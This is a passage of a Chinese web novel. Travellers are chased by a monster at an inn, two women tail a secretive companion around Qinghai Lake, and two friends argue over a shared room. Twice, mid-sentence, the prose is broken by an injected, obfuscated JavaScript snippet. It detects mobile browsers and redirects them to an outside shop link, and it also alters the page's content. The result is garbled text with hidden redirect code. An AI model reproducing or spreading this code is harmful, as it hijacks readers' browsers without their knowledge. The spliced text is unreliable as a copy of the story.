此时的小悦悦还浑然不觉几个男人的异样,只是直勾勾地盯着里屋看,看着看着突然瞳孔一震,心脏砰砰狂跳起来,她哆嗦着大喊:“是活的!这东西……是……是活的!” 话音未落,那“皮料子”突然扭了扭,从里面探出头和四肢来,那是大家穷尽毕生所学都没见过的生物,头跟人一般大小,身躯站立如六七岁的孩童,五官和形态却有点像面目凶悍的狗,皮毛覆盖下的脖颈和四肢纤细如竹竿,它似乎在搜寻什么,鼻翼快速翕动着,喉咙里发出嗬嗬的低吼,眼珠子滚来滚去,散出奇妙的光晕,十足的怪物长相。 下一秒,它就锁定了门口的几人,眼中露出阴狠的神色,吴沅顿感不妙,大喊一声:“跑!快跑!” 话音刚落,那怪物突然一跃而起,它身姿灵活,速度很快,蹦起时几乎触及屋顶,一个空中腾跃就扑出了门外,啪唧一声,沾满黏液的身体落地,稍微动动,身上的黏液沾到地面拉出了纤长的细丝。 屋外几人吓得魂都快没了,一时间慌不择路,闭眼就往院子里冲,慌乱间脚下的拖鞋都甩飞了出去,也顾不得了,一个个光着脚在院子里狂奔起来。 那怪物倒是不紧不慢,紧盯着落荒而逃的几人,慢悠悠地扭动着脑袋,脖子发出咔咔的脆响,像是威慑一般,伸出爪子用力地刮擦着地面,一下一下又一下,刺耳的摩擦声听得人头皮发麻,那怪物的爪子锋利异常,稍稍几下就在砖石上留下了几道深深的爪痕。 看着怪物耀武扬威般亮出的利爪,几人胆战心惊,忍不住设想,那爪子要是在人身上挠一道,肯定会皮开肉绽,血肉模糊吧…… 正想着呢,那东西猛然抬头嘶吼一声,接着龇牙咧嘴就朝几人扑过去。 生死关头,大家都使出吃奶的劲在院子里狂奔躲避,吴沅冲在最前头,两条长腿倒腾的都快看不到影子了,感觉在脑袋上安个螺旋桨他就能原地起飞,速度快得让他自己都暗暗惊叹,当年要是能有这速度,打破世界纪录也不是梦啊! 被求生欲激发了潜能的不止吴沅,小悦悦和大志竟然也跑得飞起,以惊人的速度紧跟在吴沅身后,起子细胳膊细腿,跑起来跟身子骨要散架似的,晃晃悠悠落在了最后。 “完了,完了,这下完了!!!” 起子见自己落了后,一下子慌了神,一边跑一边哀嚎,不时回头往后望,正好看到花姐悠哉悠哉地从茶室里踱步出来,饶有兴致地看着院子里你追我赶的戏码,起子瞬间就像看到了救命稻草,冲着她大喊:“花姐,救命!救命啊!” 按常理来说,这是花姐的客栈,他们来入住,她是有义务保护客人的人身安全的,但没想到,花姐却不紧不慢地说:“不着急……” “不着急????” 起子一听,气得眼珠子都要瞪裂了,人命关天的,什么叫“不着急”,再不着急人都要凉了,这老太婆到底安得什么心? 一旁跑得气喘吁吁的大志听到花姐的话,顿时心凉了半截,眼下店家根本不管事,想要逃出生天全凭自己的两条腿,作为一个日常能躺着绝不坐着的人,他对自己的认知很清晰,能挺到现在,已经是奇迹了,真真是拼了老命了,就这会儿他都感觉自己脚下直打飘,不用想就知道他挺不了多久了,被追上也是迟早的事。 而那怪物气势汹汹,紧追不舍,一副想要将他们生吞活剥的样子,今天估计是要被开膛破肚,成为怪物的口中餐了,一想可能死状惨烈,大志就悲从中来。 妈的,原本以为这趟出来是公费旅游,哪里想得到所谓的“旅游”是要去阴曹地府走一遭,早知道这样,打死他也不会来的,他才25岁,连女朋友都还没有……惨……太惨了……呜呜呜呜…… 想到这里,他忍不住呜咽起来,奔跑中肩膀跟着一抽一抽的。 跟在后面的起子本来就怕得要死,大志这么一哭,他着实觉得跟哭丧似的,不吉利,实在听不得,张嘴就骂:“哭屁啊哭,以后你入土了,有的是时间躺在坟里哭,不急在这一时。” 此话一出,大志听着心里一突,心想也是,现在哭有什么用,哭一哭,怪物就能放过他们了?还不如咬咬牙冲一冲,万一能逃出生天呢?于是赶紧打住,脚下步子迈得越发快了。 一群人就这么慌里慌张、左突右闪,跟玩老鹰抓小鸡的游戏似的满院子打转,一会儿突然直行拐弯,一会儿又突然闪身掉头,各种声东击西的计谋都用上了。 那怪物速度虽快,但显然还没有经历过人间的试炼,心眼子没他们多,被逗弄的连扑了好几个空,气得吼叫声震天响。 虽然眼下还没到丧命那一步,但他们都知道再这么下去,离鬼门关也就一步了,得赶紧找别的出路。 他们原本想着从院子里跑出去,到外面或许还有一线生机,但客栈大门紧闭,院门又是古旧复杂的门闩款式,几人根本没见过,试了几次门都打不开,客栈院墙又高,一时半会儿也翻不出去,几人望着难以逾越的墙头,骂声连连。 “啊啊啊,特么没事儿把墙修这么高干嘛!!!” 既然跑是跑不出去了,就只能在院子里来回打转,跟怪物耗时间,他们还抱着某种期待,也许坚持下去,就会等到转机。 时间一分一秒过,几人眼见着跑不动了,起子崩溃大喊:“这怪物什么毛病,怎么就追着我们不放啊!!” 说来也是,这院子里并不只有他们几个人,还有花姐在,但那怪物就像是看不见她似的,只紧盯着他们几个不放,一路穷追不舍。 起子这句话提醒了吴沅,他看着花姐冷眼旁观的姿态,还有客栈异常关闭的大门,心里渐渐有了一种推断,或许,这一切都不是偶然,更像是早早就设计好的局! 花姐为什么会突然出现在烂尾别墅区?又为什么一再坚持让他们跟着来这里?还有那个公主切美女说的话——“又来了几个找死的?” 这句话,吴沅听得分明,当时没当一回事,以为只是调侃他们这些喜欢冒险的外地游客,现在想来,这一桩桩一件件一句句似乎都有着某种内在的联系。 最后,吴沅得出了一个可怕的结论,那就是他们可能被狠狠算计了! 这个结论一出,各种疑点也都跟着纷纷浮出水面,现在想想偌大的一个客栈,里面除了他们好像就没有别的客人了,这很不正常,想着想着,他的一颗心咚咚咚狂跳起来。 如果真是这样,花姐的目的是什么?如此处心积虑,应该不仅仅是想用他们来喂怪物吧? 不过现在显然不是想这些的时候,那怪物被戏耍了好几次,已经没了耐性,它立在原地,脊背拱立,身体剧烈起伏,突然仰天怒吼,身上的毛发随之竖起。 跑在最后的起子发现了异样,他分明看到那怪物的毛发之下覆着一排排密密麻麻的鳞,就像冲锋陷阵时战士身上的铠甲。 又一次强烈的视觉冲击来袭,他哆嗦着大喊:“鳞,鳞,它身上有鳞……” 此话一出,几人齐刷刷回头,只见那怪物身上鳞片竖起,打眼看过去像竖起的根根尖刺,在院子里灯光的照耀下,现出银白色的寒光来,看上去格外诡异瘆人。 “这……这……特么是这个星球该有的东西吗?”大志惊恐万分,脸色变得愈发惨白。 离谱的场景不断在他们眼前堆叠,已经完全突破了他们有限的认知,有那么一刻他们甚至怀疑眼前是真实的世界吗?还是进入了一个虚拟的空间? 怪物又一次高高跃起,再次向他们发起了攻击,长毛上附着的黏液被甩到半空中,又急速下落,打在植物的枝叶上噼里啪啦一阵响。 “来了!来了!来了!”起子吓得声音都变了调。 利爪带着呼呼的风声,急扫过来,眼见跑在最后的起子就要遭殃,吴沅也不知道哪里来的勇气,想也没想,停下脚步就回身捞了起子一把,锋利的爪子带着一股狠戾,几乎是擦着起子后背过去的,起子下意识身子往前一挺,只听次啦一声,后背的衣服生生被划烂。 这一声响,让所有人都跟着呼吸一滞,脊背一寒。 起子登时就像被抽走了魂,脸色惨白的尖叫出声,整个人软趴趴的就要倒地。 起子这一嗓子把吴沅吓够呛,他还以为起子被伤到了,脚下的步子顿时就乱了,他控制不住地发抖,拉着起子踉跄了几步,差点一头栽倒。 情况实在不妙,只停顿了片刻,那怪物就迎头追上,好在人有急智,吴沅瞅见一旁的花丛里搁着几块装饰用的石头,顺手捡起几块,扬手就往身后扔去。其他两人见了,也赶忙加入,搬起石头就往后仍。 石头接二连三朝怪物飞去,怪物见有不明袭击物,下意识闪身躲避,因而改变了攻击的势头,这下又为几人赢得了几秒的逃生时间。 “快走,快走!”吴沅强撑着精神大喊。 接着扶着起子,快速扫了一眼起子的后背,见只是衣服烂了,没有伤到皮肉,这才长舒一口气,赶忙安慰起子:“没事,没事!没伤到!” 四人相互搀扶着继续往前跑,没跑几步,村子里的锣鼓声突然大起来,应该是有一只庞大的锣鼓队在村子里游走,这会儿正朝着客栈过来了,声音越来越响,一时间敲敲打打,热闹非凡,各种乐器的声响混杂在一起,瞬间就把院落灌得满满当当的,震得地面都跟着发颤。 这声音像是某种指引,吴沅下意识就往客栈大门口看了一眼,此时大门紧闭,只是一门之隔,却像是隔开的两个世界,门外锣鼓喧天,门内却异常凶险、命悬一线。 吴沅看着大门,像是突然找到了生的希望,赶忙大喊:“先出去!出去!” 其他三人瞬间就明白了他的意思,一齐往大门方向跑。 门外的锣鼓敲得格外欢实,让他们的逃跑的脚步都带上了节奏,一下一下,铿锵有力。 那怪物似乎对声音很敏感,听到锣鼓声变得更加暴躁了,摇头晃脑,发狂一般突然张大嘴巴,露出两排尖利的牙齿和猩红的口腔,纤长的舌头在隐藏在口腔深处,就像静伏的毒蛇,伺机而动,几秒后,喉咙里发出烧开水的声响,尖锐而怪异。 “我靠,又来了,又来了!”大志崩溃大喊。 分秒间,锣鼓队已经停在大门口了,吹吹打打,声响震天。 几人抱着最后的希望,冲到门口,抡起胳膊对着木门就是哐哐一顿猛砸,一边砸还一边喊:“救命!救命啊!” 但他们的声音刚出口就被热闹的锣鼓声盖下去,消失的悄无声息,他们不断地拍打,却没有得到想要的回应。 完了,最后的一丝希望破灭了。 几人心灰意冷的瞬间,一股寒凉的腥气袭来,紧接着黑影罩顶,风驰电掣般的速度让他们没了退路,利爪在空中划过,耳畔都是嗖嗖嗖的风声,想躲已经来不及,几人下意识双手抱头,矮下身去,挤挨在一起。 怪物鼻子里喷出的热气顺着脖领灌了进去,腥臭参杂着冰凉的黏液在他们的后背肆意流淌,所有人都屏住了呼吸,等待死亡的降临。 恐惧、难过、后悔……各种情绪参杂在一起,这世间没有从天而降的超人,他们知道死亡已成定局,只是心里还难免有些遗憾。 小悦悦遗憾自己没能跟父母好好告个别,她还记得自己离家前还因为妈妈的叮嘱和唠叨而不耐烦,谁能想到这一别竟然就是永别了呢? “看样子下个月是没法陪妈妈过生日了,她一定会伤心吧!”小悦悦低声嘀咕着。 大志则是为自己短暂的人生而遗憾,而吴沅则想起来父母和好兄弟,只剩下被吓懵的起子无念无想。 生死转瞬间,吴沅感觉利爪劈下,带着骇人的风声,他紧缩着脑袋,突然听到从远处过来的咻咻几声,紧接着头顶上方咚咚几声震响,是利器入木的声响,声音很大,震得他脑瓜子都跟着嗡嗡直响。 他们完全不知道发生什么事,怪物似乎是受到了攻击,在他们头顶正上方挣扎着嘶叫起来,利爪抓挠门板,发出滋啦滋啦的怪响,感觉下一秒就能挠到他们的头皮,吓得几人歪倒在地上缩成一团,身子抖得厉害。 到底发生了什么?怪物是被控制住了吗? 一切发生得太快了,预想的怪物攻击并没有发生,吴沅定了定心神,鼓起勇气抬头往上看,忽见客栈屋顶上站着一个人,借着院内的灯光,他微眯着眼睛渐渐看清,那人正是小豪。 小豪正紧盯着这一处,手里不知拿着什么。 此时吴沅心中充满了疑问,小豪为什么会在那里?他不是追出去了吗? 正想着呢,一旁的小悦悦突然激动出声:“钉住了,钉住了,怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319318|199037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物被钉住了!” 她一边说,还一边激动地猛拍了吴沅几下。 吴沅这才仰头往上看,只见那怪物已经被几个硕大的U型钉紧紧钉在了木门上,这U型钉个个都有大拇指那么粗,钉得位置也绝妙,横竖交错,各个方位固定,刚刚好把那怪物身子卡住,让它根本动弹不得。 虽然知道怪物已经被控制住了,几人显然还是心有余悸,赶忙连滚带爬,挪到稍远些的位置,一屁股坐下。 屋顶上,小豪兴奋地吹了一记嘹亮的口哨,潇洒地从屋顶一跃而下,这时,几个壮硕的黑衣男人从浓黑的夜色中冲出,也紧随小豪从屋顶跃下,一齐快步朝着门口走来。 走到近前时,小豪瞟了一眼歪坐在地上的几人,视线很快移走,最后固定在大门上,他朝身后的黑衣男人们吩咐道:“卸下来,小心点!” 黑衣男人们点点头,拎着工具箱就聚了过去。 门板很厚,却抵不过电锯的锋利,锯条轻轻靠过去,一团团的木屑就簌簌往下落,在暗夜的浸染下,飘飘洒洒,就像隆冬里的雪花。 吴沅几人就那么安静地坐在一旁,茫然地看着壮硕的男人们挥舞着电锯、锥子,卸起了门板。 一时间,工具的噪声,怪物的嘶叫,纷飞的木屑,紧绷的肱二头肌,在夜色中构成了一个诡异故事的开场。 *********** 车在广阔的戈壁上一路狂奔,两束暖黄的灯光始终打在不远处,冷晚晚板着脸一言不发,双手紧握着方向盘,脊背绷得笔直,目不斜视地看着前方。 车内气氛窒息,小夭拿着手机帮忙导航,大气都不敢出,差点憋出内伤。 这时,佟刚的手机突然响了,他下意识看了后视镜一眼,发现冷晚晚正冷眼看着他,一张脸冷得能结下霜来,佟刚心里咯噔一下,他一边回避视线,一边侧了侧身子,接通电话放在耳边。 他全程没怎么说话,只是不时嗯一声,末了说了一句“知道了”就匆匆挂了电话,似乎很怕车内的两人听到什么。 他挂完电话一回头,就看见小夭正后仰着身子,伸长了脖子偷听,似乎是听得不够清楚,还把手拢起来放在了耳后,佟刚看着她的样子只觉得好笑,也不出声,就默默盯着看。 后座突然没了一点声音,小夭觉得奇怪,悄咪咪斜眼往后瞄了一眼,见佟刚正抱着手臂端坐在后座看着自己,吓得一个激灵,几秒后,她恼羞成怒地恶狠狠瞪了佟刚一眼,那眼神仿佛在说:“你看什么看,再看把你眼珠子挖出来!” 如此理直气壮,把佟刚给气笑了。 长路漫漫,再加上路况实在不佳,车子疯狂颠簸摇晃,小夭觉得自己的脑浆都快被晃匀了,一阵阵犯恶心,赶忙降下车窗,西北地区昼夜温差大,凉风从空旷的天地间吹来,激得小夭浑身一抖,赶忙又关上了车窗。 也许是看到小夭不舒服,佟刚往前探身,伸手从兜里掏出一把东西递给小夭,小夭看也没看,下意识就伸手去接,等接住了定睛一看,瞬间愣住了。 是她爱吃的棒棒糖,总共有五六根的样子。 她楞楞地盯着手里的棒棒糖,心里一暖,内心稍有松动,于是柔声跟佟刚道了一声谢。 结果这头话刚出口,那头就迎上了冷晚晚的死亡凝视,只见她气得冷哼一声,白眼几乎翻上天,咬牙讽刺:“哟,姐都是一箱一箱给你买,也没见你这么谢我啊?” 说完,又狠狠瞥了小夭一眼,摇摇头,一副恨铁不成钢的样子。 小夭被这一眼激得瞬间回了神,也是,就几根棒棒糖而已,至于吗?就动摇了?多想想他干的那些事儿,多恶劣!多下三滥!想到这里,她不断在心里提醒自己——绝不能被男人迷惑!绝不能被男人迷惑! 也许是心里暗示起了作用,理智得以回归,小夭又板脸坐回位置里,一言不发地目视前方。 佟刚倒是不以为意,盯着前方路况,小心翼翼地提醒冷晚晚:“戈壁不好走,你慢点开!” 冷晚晚这时可听不得他的任何意见,他越是这么说,她就越是不管不顾地狂踩油门,内心无声咆哮——现在知道戈壁不好走了?这都是拜谁所赐!!!啊!拜谁所赐!! 另一边,原本就被颠得七荤八素的小夭,这下更是眼前一黑,她暗骂佟刚多嘴,他要不说话,冷晚晚能把车当飞机开吗?想到这,她火气一下子就又上来了,扭头冲着佟刚又是一顿白眼输出,末了一字一句咬牙切齿地说:“你能不能别说话了!” 面对两个火气未消的女人,佟刚只能选择闭嘴,毕竟这种时候多说多错,闭嘴才是最好的选择。 偌大的世界瞬间就安静下来,只能听见发动机的轰鸣,还有轮胎碾压石子时的碎裂声。 就这么沉默地开了一路,小夭都已经适应了车的颠簸,她看了看手机上的导航,还有差不多一个小时才能上大路,这意味着冷晚晚已经连开了好几个小时了,晚上开车容易疲劳,但她没驾照换不了,倒是后座那人稳如泰山、心安理得的。 小夭想到这里,又忍不住暗骂佟刚:“让你不说话,你就真的一句话不说啦!一点眼力见都没有!晚晚都开了几个小时的车了,你也不说换换她!” 最后,还是她实在忍不了了,问冷晚晚:“你累不累,要不要停下来休息一会儿?” 这话虽是问冷晚晚的,其实是在提醒佟刚。 “不用!我想早点回去!”冷晚晚说。 还好佟刚不傻,终于明白过来,在后座接了一句:“要不换我开吧?” 就等着话了,冷晚晚当即一脚刹车,拉手刹,解安全带,开门下车,一气呵成,当她拉开后座车门的时候,佟刚整个人还是懵的,最后被她连拉带拽地拖下了车。 车又重新上路了,冷晚晚坐在后座裹紧衣服,靠着门就睡了。 等她迷迷糊糊醒来时,天已经大亮,太阳初生,悬在天空与湖泊的视野相交处,绽放出橙红色光芒,光芒洒在瓦蓝的湖面上,就像撒了一湖的碎金子,金光灿灿的,耀得人睁不开眼。 已经到青海湖了,瓦蓝瓦蓝的湖面看得人神清气爽。 佟刚开了一夜车,眼下的乌青清晰可见,他听到后座有动静,往后视镜里看了一眼,见冷晚晚醒了,轻声提醒:“马上就到了!” 冷晚晚伸了个懒腰,不冷不淡地嗯了一声,然后按下车窗,微凉的空气一下子灌进来,还带着青草的清爽味道,她闭着眼睛贪婪地深吸起来。 佟刚沉默了一会儿,突然问:“晚晚,你还生我的气吗?” 冷晚晚扭头看向前方,两人的视线在后视镜中相交,冷晚晚眉头微皱,顿了顿,嗯了一声。经过昨晚一闹,其实冷晚晚的气已经去了大半,但要说不气吧,倒也没有。 几个人从小一起长大,很是了解彼此的脾气秉性,佟刚深知冷晚晚的脾气来得快去得也快,很少有过夜的,通常一个晚上过去她自己就能消化不少。 虽然冷晚晚语气不佳,但一问一答,有来有回,就证明她的气已经散得差不多了,佟刚当下心安不少。 “等我把大爷交代的事忙完了,就带你们在这里好好玩一玩,水上雅丹、察尔汗盐湖、雅丹魔鬼城都去了吗?”佟刚尽量说着软和话。 “等你忙完再说吧!”冷晚晚扭头看向窗外,语气淡淡的。 ** 17. 跑路 之后两人无话,佟刚埋头开车,就这么一路到了客栈门口。 等车停稳,佟刚叫了叫在副驾睡得昏天暗地的小夭,小夭猛地惊醒,用手抹了抹嘴角的口水,又揉了揉惺忪的眼睛,迷迷瞪瞪看着四周问:“到了吗?” “到了!下车吧!”冷晚晚催促。 客栈一大早已经忙过一阵了,央金刚给一波客人办完退房手续,这会儿正在打扫大厅,忽然听到门外有车声,以为是有新住客,赶忙迎了出去。 结果看到冷晚晚和小夭竟然从车上下来,身边还跟着个陌生的男人,她一边跟冷晚晚打招呼,眼神却不住地往那男人身上瞟。 “你们昨晚去哪儿了?二百八他们别提多担心了,给我打了好几个电话问你们回来没呢!对了,他们现在就住我们这儿!” 央金说着就把冷晚晚拉到一边,眼神不住往后瞟,眼中满是警惕,她把脑袋往冷晚晚耳边凑了凑,低声问:“这男的谁啊?你们怎么会坐他的车过来,这在外面旅游的人,特别是男人,居心叵测的多了去了,都想发展点艳遇啥的,你们可得小心啊!之前我们客栈就有个女客人被骗财骗色,哭得死去活来,差点跳了青海湖……” 央金说完,又眯着眼睛,从上到下地细细打量佟刚,像是想通过自己的双眼将他看个透透彻彻、明明白白。 冷晚晚知道央金想错了,但又因为这份关怀而倍感暖心,她冲着央金笑了笑说:“你放心啊!这是……” 她说着回头看了一眼佟刚,像是想着该怎么介绍他,末了接着说:“这是我跟小夭的哥哥,他昨天也来了青海,就带着我们出去玩了一圈。” “哦,是哥哥啊!” 听到冷晚晚这么说,央金这才放下心来,很是高兴地拉着冷晚晚就往大厅里走,一边走一边回头问佟刚:“那帅哥,你今天也要住这里吧?” 突如其来的问话,让佟刚脚下一顿,他仰头看了看客栈的门头,然后说:“把她们安全送到我就安心了,我还有事,就先走了!” “你又要走?!” 小夭瞬间瞪大了双眼,不敢置信地看着佟刚。 佟刚也不想多做解释,冲着几人点头示意了一下,转身就往驾驶室走,就在这时,他兜里的手机响了,他赶忙接起。 “嗯,你们到了吗?好,我马上就来!” 听对话内容,似乎跟昨晚打电话的人是同一个人,冷晚晚心里顿时又生出无数的疑问——他这是又要去执行什么秘密任务了吗?大伯到底给他安排了什么秘密任务?他的秘密任务又为什么会把二百八和周游扯进来? 车很快发动,佟刚熟练地调转车头,车又向着来时的路去了。 冷晚晚看着车屁股一点点消失在视线里,心里一团乱麻,无意间瞥见不远处停着的一辆车,突然心念一动,那车她再熟悉不过了,那是小马的工作车,日常用来接送客人的,小马受伤后,这辆车就一直停在那里。 她指了指那辆车,问央金:“这辆车的钥匙你有吗?” “有啊?怎么了?” “借用一下,我有事要出去一趟!” 小夭一听这话,立刻明白过来冷晚晚要做什么,于是满脸期待地凑到冷晚晚身边,低声问:“真要去啊!” “嗯!” 一听冷晚晚要用车,央金二话没说,赶忙去前台的抽屉里取了钥匙,又忙不迭跑出来交给冷晚晚。自从冷晚晚和小夭救了小马,央金就对她们心怀感激,整个态度大变。 冷晚晚接过钥匙,冲着央金妩媚一笑:“谢啦!” 车很快就启动,小夭也麻利地跳上副驾,两人朝央金招了招手,车就像阵风一样驶离了客栈。 车先沿着小路开了一会儿,很快就上了大道,一顿猛加油门,没多久,就远远地看到了佟刚的车。 在大西北这种地方想要跟踪太难了,因为路上可能半天都没有一辆车,没有别的车掩护,很容易被发现。 小夭紧盯着佟刚的车,有点担心:“咱们这么跟着,不会被发现吧!” “发现就发现呗!我还怕他!” 冷晚晚嘴里说得慷慨激昂,但脚下还是稍稍慢下了速度,尽量维持着两车之间的距离。 两人正说着话呢,冷晚晚扔在仪表盘上的手机突然响了,她开着车接不了,于是示意小夭帮她接一下。 小夭随手接通,按了免提,那头一个熟悉的声音就传了出来。 “喂,咋回事啊,我刚听央金说你们又出去了?” 是二百八。 “嗯,有点事儿。”冷晚晚回道。 “啥时候回来啊?” “晚一点吧!” 二百八还在那头叽里呱啦说着什么,冷晚晚也懒得听,回了一句:“忙着呢,挂了!” 说完,一个眼神示意,小夭赶紧把电话挂了。 “这人打电话可真会挑时候!”小夭忍不住吐槽。 车跟着开出去很远了,一直绕着湖边走,路旁的景致没什么变化,一成不变的翠绿草场和看不到边际的青海湖,又跟了一段,佟刚的车突然慢下来,冷晚晚觉得不妙,赶忙也慢慢压下速度。 “不会被发现了吧?”小夭眼睛一眨不眨地盯着前方车辆。 话音刚落,前方车辆直接停了下来,冷晚晚赶紧一脚刹车,也跟着停下来,两车之间隔了一些距离,但依稀能看到佟刚打开了车窗,探出脑袋往后边看过来。 “完了……被……” 话说到一半,冷晚晚的手机就响了。 是佟刚打来的。 他的语气很无奈:“你们跟着我做什么?赶紧回去!” 冷晚晚主打的就是一个叛逆,张口就来:“天大地大,我想去哪儿就去哪儿,你管不着!” 佟刚好声好气地劝说:“你们老老实实回客栈不行吗?你们要跟着出点事怎么办?我怎么跟冷老爷子,你大伯,你姑姑交代?” “谁要你交代了,我们的事我们自己心里有数!” “我的姑奶奶,你怎么就不听劝呢?早知道就不该让你们回来!昆仑山下的房子里有吃有喝,我看挺好!” 冷晚晚一听这话,冷哼一声:“怎么?大伯给你安排的工作里还有软禁我们这一条?你到底是要去做什么,这么见不得人啊?生怕我们看见?” 佟刚沉默了好一会儿,见冷晚晚好赖话都不听,忍了又忍,终于火气上来了,语气很冲地回道:“是是是,我就是要去干见不得人的事儿了,那你还跟着我干嘛?!不怕脏污了大小姐您的眼睛?” 小夭还是第一次见佟刚这样发脾气,着实吓了一跳。 佟刚说完又补了一句:“我不管你们去哪儿,去哪儿都行,就是别跟着我!” 冷晚晚火气也上来了,话语间毫不相让,眉头一拧,挑衅道:“唉,我今天就跟了,你能拿我怎么样?!” 眼见着这样吵下去也没什么意义,佟刚长叹一口气,及时按住了自己的火气,他沉默了一会儿,挂了电话。 两辆车就这么停在原地,僵持着都没动。 过了好一会儿,远远地来了一辆车,靠近冷晚晚她们时,渐渐慢下速度,降下车窗,车里头坐着一个皮肤黝黑的男人,中长发,戴着墨镜,吊儿郎当地冲车里的两人打招呼。 “唉,美女们!这是车坏了?要不要帮忙啊?” 说话间,男人一打方向盘,直接把车横到了她们前方,冷晚晚无语,赶忙往一侧打方向盘,想超过去,没想到那男的竟然也跟着挪动方位,冷晚晚走一步,他就挡一步,摆明了是故意的,这可把冷晚晚气炸了,直接探出脑袋冲着前车司机大喝一声:“干嘛呢?走开!” 没想到那男的探出头来冲着她没皮没脸的笑了笑,根本不为所动。 冷晚晚本来气得不行,这下更是气上加气,憋了一肚子的脏话想送给他,正准备开喷,小夭突然着急大喊起来。 “哎哎哎,佟刚的车开走了!” “???什么?” 冷晚晚一听着急了,于是狂打方向盘,一会儿向左一会儿向右,结果前面那男的全方位围追堵截,就像黏在身上的狗皮膏药似的,怎么都甩不掉。 道路两边都是私人草场,用铁丝拦起来了,也不能乱闯,车又是客栈的,也不能乱用,这要是她自己的车,她肯定忍不了,指定一脚油门就撞上去了。 那男的摆明了就是要堵她,存心要气死她。 眼见着佟刚的车越跑越远,最后变成一个小黑点消失在视野尽头,冷晚晚终于忍无可忍,直接下车,对着那男人的后车门就是咣咣两脚。 “诶诶诶,大姐,不至于,不至于!”男人探出脑袋,想要阻拦已经来不及,只能一脸心疼地看着自己的后车门。 冷晚晚冷笑一声,白了他一眼:“你有病?不会看路?这么宽的路,你堵我?” 男人不好意思地笑了笑,手掌并拢碰了碰头,做作地给冷晚晚敬了个礼,算是表达了歉意。 “不好意思啊,你看你也踹我车了,就算是扯平了啊!再说那我也没办法啊,他给安排的活儿啊?你有啥怨气就去找他,不关我的事儿啊!” “他?谁?”冷晚晚有点听不明白。 男人往前头的路指了指说:“佟刚啊,刚刚他给我打电话来着,说有两个美女对他围追堵截的,让我来帮他脱身啊!” “……”冷晚晚气得咬牙切齿,脸都要绿了。 男人生怕自己的爱车又挨踹,说完直接掉头,一溜烟跑了,只留下冷晚晚在原地咆哮。 “佟刚!你给我等着!!!!” *** 周游在卫生间洗澡的时候,就听见二百八在房间里打电话,叽里呱啦也不知道在说什么,等他出来的时候,二百八还窝在沙发里对着电话喂个不停。 “喂喂喂,诶,怎么就挂了,我话还没说完呢!” 周游擦着头发,无心地问了一句:“谁啊?” “冷晚晚啊!” 周游一听到冷晚晚的名字立马停下动作,扭头看向二百八。 “她怎么说?到了?” 二百八摇摇头。 “到是到了,不过这会儿又走了!” “又走了?” “她说有点事儿,要晚点再回来,然后着急忙慌的就挂了电话。” 周游哦了一声,转回头继续擦头发,擦着擦着,突然低声自语:“这还没见到呢,怎么就又走了……” 二百八这家伙耳朵跟耗子一样灵光,隔得老远也听了去,他觉出了周游言语间的失落,立马支起身子,腆着张大脸,贱嘻嘻地调侃:“咋了?这就一日不见如隔三秋啦?” 周游一听二百八又开始狗嘴里吐不出象牙了,先是横了他一眼,顺势把手里的湿毛巾朝着他那张大脸就扔了过去,末了一脸嫌恶地骂道:“滚滚滚!别刚知道个词儿就瞎用!” 二百八抬了抬腚,伸手一把抓住毛巾,嘻嘻哈哈地调笑:“喜欢美女不是人之常情吗?你这么急着否认干嘛。莫非……被我说中了……哎哟,这是啥?千年老树开了花?哈哈哈……” 二百八得吧得说个不停,一点也不知道收敛,周游懒得跟他斗嘴,冷眼叉腰站在一旁,用看傻子的眼神看他,等他说完了,才不耐烦地开口:“你说完了吗?” 二百八龇着牙花,用力地点了点头。 周游看着二百八的那个贱样,恨得牙痒痒,心想着你现在嘚瑟,爷有的是方法治你,于是眉毛一挑,冷笑着威胁:“看样子,你是不想在我这儿住了是吧?那你快点收拾收拾滚回你家去,要不你就自己花钱找央金再开一间房!” 原本还嘻嘻哈哈的二百八,一听这话,立刻就笑不出来了。 这观澜客栈颇有些名气,住宿条件很不错,再加上在青海湖边,价格自然不便宜,二百八哪里舍得花钱来住这里啊,但是要他回去住,又十万个不愿意,毕竟先前的事情都还没搞清楚,虽有旺财作伴,谁知道那群人会不会突然杀个回马枪。 昨晚周游来住观澜客栈,他便打定主意要蹭住,一进房间躺在沙发上就不起来了,两人确实累得够呛,周游也就没说什么,算是默许他住了下来,他倒还有点良心,知道自己睡觉不老实,主动去睡了沙发。 睡沙发就睡沙发,也没啥,反正怎么样都比他那破屋子好,这里24小时有热水,房顶不会落灰,毛巾干干净净的,还不用自己洗,一睁眼就能看见湖景…… 他原本想着能蹭一天是一天,哪想到周游突然下了逐客令,这下二百八着了急,不禁暗自后悔,两人本来就旧怨未解,关系还没好到可以随意开玩笑的地步,自己刚刚说话没怎么过脑子,这下可好,惹恼了财神爷。 不过,二百八这人除了脸皮厚,脑子还转得快,一见形势不对,立马扬起受伤的胳膊开始卖惨。 “哥们儿,你看我还受着伤呢!” 说完,就捂着胳膊做作地哎哟哎哟叫唤,顺势往沙发里一倒,装出一副病娇无力的模样,最后还不忘可怜巴巴地说: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319319|199037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你看看我现在这样,连车都开不了,你忍心让我一个人回去住吗?” 这要换作别的人,周游兴许还会心软,但二百八这厮壮如铁牛,那点小伤对他来说无异于挠痒,现在竟然矫揉造作地表演起来了,简直辣眼睛。 